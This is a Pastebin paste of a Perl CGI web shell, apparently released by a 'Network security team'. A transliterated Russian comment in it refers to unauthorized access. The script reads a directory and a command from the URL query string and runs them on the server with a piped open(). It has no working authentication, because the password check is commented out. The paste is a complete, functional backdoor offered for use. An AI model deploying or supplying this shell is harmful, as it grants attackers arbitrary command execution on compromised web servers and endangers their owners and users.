Saint92

CGIshell

Mar 28th, 2016
250
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.55 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ############################################################
  3. ## Network security team                                  ##
  4. ############################################################
  5. ##Coder: Ins                                              ##
  6. ############################################################
  7. ##Ob dannom scripte: Eto prostoj shell napisannyj na perle##
  8. ############################################################
  9.  
  10. #V celjah nesankcionirovannogo dostupa smeni etot parol`"
  11. #$pwd='';
  12.  
  13. print "Content-type: text/html\n\n";
  14. &read_param();
  15. if (!defined$param{dir}){$param{dir}="/"};
  16. if (!defined$param{cmd}){$param{cmd}="ls -la"};
  17. ##if (!defined$param{pwd}){$param{pwd}='Enter_Password'};##
  18.  
  19. print << "[ins1]";
  20. <head>
  21. <title>::Network Security Team::</title>
  22. <font size=3 face=verdana><b>Network security team :: CGI Shell</b>
  23. <font size=-2 face=verdana><br><br>
  24. <style>
  25. BODY, TD { font-family: Tahoma; font-size: 12px; }
  26. INPUT.TEXT  {
  27. font-family : Arial;
  28. font-size : 8pt;
  29. color : Black;
  30. width : 100%;
  31. background-color : #F1F1F1;
  32. border-style : solid;
  33. border-width : 0px;
  34. border-color : Silver;
  35. }
  36. INPUT.BUTTON  {
  37. font-family : Arial;
  38. font-size : 8pt;
  39. width : 100px;
  40. border-width : 1px;
  41. color : Black;
  42. background-color : D1D1D1;
  43. border-color : silver;
  44. border-style : solid;
  45. }
  46. </style>
  47. </head>
  48. <body bgcolor=#B9B9B9>
  49. Vvedite zapros:
  50. <table width=500 bgcolor=D9D9D9><tr><td>
  51. [ins1]
  52.  
  53. print "cd $param{dir}&&$param{cmd}";
  54.  
  55. print << "[ins2]";
  56. </td></tr></table>
  57. Otvet na zapros:
  58. <table width=500 bgcolor=D9D9D9><tr><td><pre>
  59. [ins2]
  60.  
  61. #if ($param{pwd} ne $pwd){print "Nepravelnij user";}
  62. open(FILEHANDLE, "cd $param{dir}&&$param{cmd}|");
  63. while ($line=<FILEHANDLE>){print "$line";};
  64. close (FILEHANDLE);
  65.  
  66. print << "[ins3]";
  67. </pre></td></tr></table>
  68. <form action="$param">
  69. directory:
  70. <input type=text class="TEXT" name=dir value=$param{dir}>
  71. command:
  72. <input type=text class="TEXT" name=cmd value=$param{cmd}>
  73. <input type=submit class="button" value="Submit">
  74. <input type=reset class="button" value="Reset">
  75. </form>
  76. </body>
  77. </html>
  78. [ins3]
  79.  
  80. sub read_param {
  81. $buffer = "$ENV{'QUERY_STRING'}";
  82. @pairs = split(/&/, $buffer);
  83. foreach $pair (@pairs)
  84.         {
  85.         ($name, $value) = split(/=/, $pair);
  86.         $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  87.         $value =~ s/\+/ /g;
  88.         $value =~ s/ / /g;
  89.         $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  90.         $param{$name} = $value;
  91.         }
  92. }
  93.  
  94. #########################<<KONEC>>#####################################
Advertisement
Add Comment
Please, Sign In to add comment